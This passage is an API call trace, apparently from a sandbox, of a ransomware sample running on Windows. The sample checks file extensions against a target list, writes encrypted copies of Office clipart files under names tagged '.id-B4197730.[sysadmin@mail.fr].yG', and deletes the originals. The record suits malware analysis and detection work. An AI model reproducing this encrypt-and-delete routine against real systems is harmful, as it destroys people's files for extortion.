	[0182.318] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0182.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.318] lstrlenW (lpString=".dbf") returned 4
	[0182.318] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0182.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.318] lstrlenW (lpString=".1cd") returned 4
	[0182.318] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0182.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0182.318] lstrlenW (lpString=".jpg") returned 4
	[0182.318] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0182.319] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.319] lstrlenW (lpString="DD01163_.WMF") returned 12
	[0182.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0182.319] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2300) returned 1
	[0182.320] CloseHandle (hObject=0x374) returned 1
	[0182.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220
	[0182.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0182.320] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.320] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.321] GetLastError () returned 0x0
	[0182.321] ReadFile (in: hFile=0x374, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0182.339] WriteFile (in: hFile=0x378, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x900, lpOverlapped=0x0) returned 1
	[0182.341] ReadFile (in: hFile=0x374, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.341] WriteFile (in: hFile=0x378, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.341] SetEndOfFile (hFile=0x378) returned 1
	[0182.341] CloseHandle (hObject=0x378) returned 1
	[0182.342] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.342] SetEndOfFile (hFile=0x374) returned 1
	[0182.343] CloseHandle (hObject=0x374) returned 1
	[0182.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1
	[0182.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.344] lstrlenW (lpString=".doc") returned 4
	[0182.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.344] lstrlenW (lpString=".docx") returned 5
	[0182.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.344] lstrlenW (lpString=".pdf") returned 4
	[0182.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.345] lstrlenW (lpString=".xls") returned 4
	[0182.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.345] lstrlenW (lpString=".xlsx") returned 5
	[0182.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.345] lstrlenW (lpString=".ppt") returned 4
	[0182.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.345] lstrlenW (lpString=".zip") returned 4
	[0182.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.345] lstrlenW (lpString=".rar") returned 4
	[0182.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.345] lstrlenW (lpString=".bz2") returned 4
	[0182.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.345] lstrlenW (lpString=".7z") returned 3
	[0182.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.346] lstrlenW (lpString=".dbf") returned 4
	[0182.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.346] lstrlenW (lpString=".1cd") returned 4
	[0182.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.346] lstrlenW (lpString=".jpg") returned 4
	[0182.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.894] lstrlenW (lpString=".doc") returned 4
	[0182.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.894] lstrlenW (lpString=".docx") returned 5
	[0182.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.894] lstrlenW (lpString=".pdf") returned 4
	[0182.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.894] lstrlenW (lpString=".xls") returned 4
	[0182.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.894] lstrlenW (lpString=".xlsx") returned 5
	[0182.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.894] lstrlenW (lpString=".ppt") returned 4
	[0182.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.894] lstrlenW (lpString=".zip") returned 4
	[0182.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.894] lstrlenW (lpString=".rar") returned 4
	[0182.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.894] lstrlenW (lpString=".bz2") returned 4
	[0182.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.894] lstrlenW (lpString=".7z") returned 3
	[0182.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.894] lstrlenW (lpString=".dbf") returned 4
	[0182.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.895] lstrlenW (lpString=".1cd") returned 4
	[0182.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0182.895] lstrlenW (lpString=".jpg") returned 4
	[0182.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.895] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.895] lstrlenW (lpString="DD01173_.WMF") returned 12
	[0182.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0182.896] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=1804) returned 1
	[0182.896] CloseHandle (hObject=0x398) returned 1
	[0182.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220
	[0182.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0182.896] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.896] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0182.899] GetLastError () returned 0x0
	[0182.899] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x70c, lpOverlapped=0x0) returned 1
	[0182.905] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x710, lpOverlapped=0x0) returned 1
	[0182.911] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.911] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.911] SetEndOfFile (hFile=0x39c) returned 1
	[0182.911] CloseHandle (hObject=0x39c) returned 1
	[0182.911] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.911] SetEndOfFile (hFile=0x398) returned 1
	[0182.913] CloseHandle (hObject=0x398) returned 1
	[0182.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1
	[0182.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.914] lstrlenW (lpString=".doc") returned 4
	[0182.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.914] lstrlenW (lpString=".docx") returned 5
	[0182.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.914] lstrlenW (lpString=".pdf") returned 4
	[0182.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.914] lstrlenW (lpString=".xls") returned 4
	[0182.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.914] lstrlenW (lpString=".xlsx") returned 5
	[0182.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.914] lstrlenW (lpString=".ppt") returned 4
	[0182.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.914] lstrlenW (lpString=".zip") returned 4
	[0182.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.915] lstrlenW (lpString=".rar") returned 4
	[0182.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.915] lstrlenW (lpString=".bz2") returned 4
	[0182.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.915] lstrlenW (lpString=".7z") returned 3
	[0182.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.915] lstrlenW (lpString=".dbf") returned 4
	[0182.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.915] lstrlenW (lpString=".1cd") returned 4
	[0182.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.915] lstrlenW (lpString=".jpg") returned 4
	[0182.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.915] lstrlenW (lpString=".doc") returned 4
	[0182.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.915] lstrlenW (lpString=".docx") returned 5
	[0182.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.915] lstrlenW (lpString=".pdf") returned 4
	[0182.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.915] lstrlenW (lpString=".xls") returned 4
	[0182.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.915] lstrlenW (lpString=".xlsx") returned 5
	[0182.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.916] lstrlenW (lpString=".ppt") returned 4
	[0182.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.916] lstrlenW (lpString=".zip") returned 4
	[0182.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.916] lstrlenW (lpString=".rar") returned 4
	[0182.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.916] lstrlenW (lpString=".bz2") returned 4
	[0182.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.916] lstrlenW (lpString=".7z") returned 3
	[0182.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.916] lstrlenW (lpString=".dbf") returned 4
	[0182.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.916] lstrlenW (lpString=".1cd") returned 4
	[0182.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0182.916] lstrlenW (lpString=".jpg") returned 4
	[0182.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.916] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.917] lstrlenW (lpString="DD01176_.WMF") returned 12
	[0182.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0182.917] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=1888) returned 1
	[0182.917] CloseHandle (hObject=0x398) returned 1
	[0182.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220
	[0182.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0182.918] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.918] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0182.919] GetLastError () returned 0x0
	[0182.919] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x760, lpOverlapped=0x0) returned 1
	[0182.920] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x770, lpOverlapped=0x0) returned 1
	[0182.923] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.924] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.924] SetEndOfFile (hFile=0x39c) returned 1
	[0182.924] CloseHandle (hObject=0x39c) returned 1
	[0182.924] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.924] SetEndOfFile (hFile=0x398) returned 1
	[0182.925] CloseHandle (hObject=0x398) returned 1
	[0182.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.927] lstrlenW (lpString=".doc") returned 4
	[0182.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.927] lstrlenW (lpString=".docx") returned 5
	[0182.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.927] lstrlenW (lpString=".pdf") returned 4
	[0182.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.927] lstrlenW (lpString=".xls") returned 4
	[0182.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.927] lstrlenW (lpString=".xlsx") returned 5
	[0182.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.927] lstrlenW (lpString=".ppt") returned 4
	[0182.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.927] lstrlenW (lpString=".zip") returned 4
	[0182.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.928] lstrlenW (lpString=".rar") returned 4
	[0182.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.928] lstrlenW (lpString=".bz2") returned 4
	[0182.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.928] lstrlenW (lpString=".7z") returned 3
	[0182.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.928] lstrlenW (lpString=".dbf") returned 4
	[0182.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.928] lstrlenW (lpString=".1cd") returned 4
	[0182.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.928] lstrlenW (lpString=".jpg") returned 4
	[0182.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.928] lstrlenW (lpString=".doc") returned 4
	[0182.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.928] lstrlenW (lpString=".docx") returned 5
	[0182.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.928] lstrlenW (lpString=".pdf") returned 4
	[0182.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.929] lstrlenW (lpString=".xls") returned 4
	[0182.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.929] lstrlenW (lpString=".xlsx") returned 5
	[0182.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.929] lstrlenW (lpString=".ppt") returned 4
	[0182.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.929] lstrlenW (lpString=".zip") returned 4
	[0182.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.929] lstrlenW (lpString=".rar") returned 4
	[0182.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.929] lstrlenW (lpString=".bz2") returned 4
	[0182.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.929] lstrlenW (lpString=".7z") returned 3
